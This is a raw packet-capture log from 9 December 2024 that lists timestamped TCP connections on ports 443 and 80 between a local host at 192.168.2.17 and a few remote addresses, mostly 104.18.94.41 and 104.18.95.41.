Dec 9, 2024 18:41:37.811206102 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.811222076 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.811280966 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.811302900 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.811342955 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.821479082 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.821501970 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.821547985 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.831670046 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.831686020 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.831756115 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.837136030 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.837143898 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.837197065 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.839484930 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.845320940 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.845380068 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.851166010 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.851242065 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.857173920 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.857244968 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.860496044 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.860552073 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.866303921 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.866358995 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.869563103 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.869626045 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.875580072 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.875644922 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.880177021 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.880234957 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.900840044 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.951457024 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.951469898 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.974771023 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.974879026 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.975980043 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.976052999 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.976089001 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.978540897 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.978614092 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.981518030 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.981574059 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.981584072 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.981607914 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.981667042 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.983347893 CET	49738	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:37.983365059 CET	443	49738	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:37.984004974 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.984067917 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.984076977 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.992038012 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:37.992119074 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:37.992125988 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.000161886 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.000219107 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.000231028 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.015990019 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.016077042 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.016077042 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.016093969 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.016127110 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.023765087 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.031711102 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.031758070 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.031769991 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.040442944 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.040492058 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.040503979 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.046514034 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.046559095 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.046576977 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.053102970 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.053154945 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.053169012 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.059633970 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.059675932 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.059685946 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.066239119 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.066283941 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.066293001 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.111653090 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.166873932 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.170056105 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.170109987 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.170128107 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.174529076 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.174577951 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.174586058 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.183981895 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.184043884 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.184067965 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.184144974 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.188601971 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.188610077 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.188666105 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.192562103 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.192673922 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.201632023 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.201642036 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.201688051 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.206293106 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.206348896 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.215698004 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.215770006 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.223750114 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.223823071 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.229760885 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.229904890 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.233170986 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.233247995 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.239005089 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.239083052 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.241794109 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.241868019 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.247853994 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.247910023 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.375705957 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.375827074 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.377506018 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.377571106 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.382678032 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.382754087 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.386648893 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.386718988 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.391246080 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.391315937 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.393810034 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.393871069 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.398372889 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.398447990 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.400824070 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.400893927 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.405553102 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.405632019 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.409924984 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.410007954 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.412719011 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.412780046 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.415103912 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.415159941 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.415172100 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.415189028 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.415218115 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.415237904 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.415242910 CET	443	49739	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.415272951 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.415272951 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.415301085 CET	49739	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.418030977 CET	49740	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:38.418096066 CET	443	49740	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:38.418188095 CET	49740	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:38.418392897 CET	49740	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:38.418411016 CET	443	49740	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:38.768609047 CET	49741	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.768656969 CET	443	49741	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:38.768774986 CET	49741	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.769011021 CET	49741	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:38.769023895 CET	443	49741	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:39.708373070 CET	443	49740	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:39.708724022 CET	49740	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:39.708758116 CET	443	49740	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:39.709105968 CET	443	49740	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:39.709403038 CET	49740	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:39.709491014 CET	443	49740	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:39.709530115 CET	49740	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:39.755328894 CET	443	49740	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:39.758524895 CET	49740	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:39.901710033 CET	49682	80	192.168.2.17	192.229.211.108
Dec 9, 2024 18:41:39.983567953 CET	443	49741	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:39.983911991 CET	49741	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:39.983931065 CET	443	49741	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:39.984272003 CET	443	49741	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:39.984600067 CET	49741	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:39.984673023 CET	443	49741	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:39.984741926 CET	49741	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:40.031332016 CET	443	49741	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:40.172085047 CET	443	49740	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:40.172163963 CET	443	49740	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:40.172250032 CET	49740	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:40.172908068 CET	49740	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:41:40.172929049 CET	443	49740	104.18.95.41	192.168.2.17
Dec 9, 2024 18:41:40.204888105 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:40.204932928 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:40.205013990 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:40.205488920 CET	49682	80	192.168.2.17	192.229.211.108
Dec 9, 2024 18:41:40.205969095 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:40.205984116 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:40.209201097 CET	49741	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:40.209268093 CET	443	49741	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:40.209325075 CET	49741	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:40.779575109 CET	49680	443	192.168.2.17	20.189.173.13
Dec 9, 2024 18:41:40.811516047 CET	49682	80	192.168.2.17	192.229.211.108
Dec 9, 2024 18:41:41.418955088 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.419241905 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:41.419261932 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.420309067 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.420377970 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:41.420660973 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:41.420725107 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.420813084 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:41.420820951 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.464507103 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:41.877947092 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.878916979 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.878978014 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:41.879005909 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.886461973 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.886537075 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:41.886550903 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.894691944 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.894772053 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:41.894788980 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.903120041 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.903194904 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:41.903218031 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:41.956509113 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:41.956528902 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.004507065 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:42.004523039 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.020503044 CET	49682	80	192.168.2.17	192.229.211.108
Dec 9, 2024 18:41:42.052510977 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:42.052524090 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.073808908 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.073884964 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:42.073894024 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.083841085 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.083894014 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:42.083900928 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.092305899 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.092374086 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:42.092384100 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.100625038 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.100673914 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:42.100682020 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.100910902 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.100965023 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:42.101125956 CET	49742	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:42.101134062 CET	443	49742	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.102731943 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:42.102776051 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:42.102848053 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:42.103070974 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:42.103085041 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.320766926 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.321069002 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.321094036 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.321424007 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.321727991 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.321787119 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.321860075 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.363337040 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.775901079 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.776571989 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.776595116 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.776746035 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.776777983 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.776819944 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.777844906 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.784077883 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.784142971 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.784168959 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.792702913 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.792758942 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.792773962 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.801297903 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.801356077 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.801372051 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.844516039 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.895545006 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.940504074 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.967583895 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.971362114 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.971420050 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.971438885 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.981009960 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.981060028 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.981076956 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.987185001 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.987226009 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.987240076 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.995486975 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:43.995533943 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:43.995548010 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.003448009 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.003498077 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.003514051 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.011341095 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.011392117 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.011408091 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.019340038 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.019388914 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.019403934 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.035211086 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.035269976 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.035284996 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.041398048 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.041461945 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.041476965 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.047568083 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.047620058 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.047636032 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.053735018 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.053790092 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.053803921 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.060163021 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.060220003 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.060236931 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.100506067 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.161494017 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.162885904 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.162964106 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.162997961 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.171273947 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.171354055 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.171384096 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.175853014 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.175918102 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.175931931 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.175981998 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.184386969 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.184395075 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.184475899 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.188090086 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.188196898 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.192298889 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.192311049 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.192375898 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.199742079 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.199829102 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.207505941 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.207588911 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.211654902 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.211719990 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.219392061 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.219479084 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.226855040 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.226919889 CET	49743	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:41:44.234802961 CET	443	49743	104.18.94.41	192.168.2.17
Dec 9, 2024 18:41:44.234873056 CET	49743	443	192.168.2.17	104.18.94.41
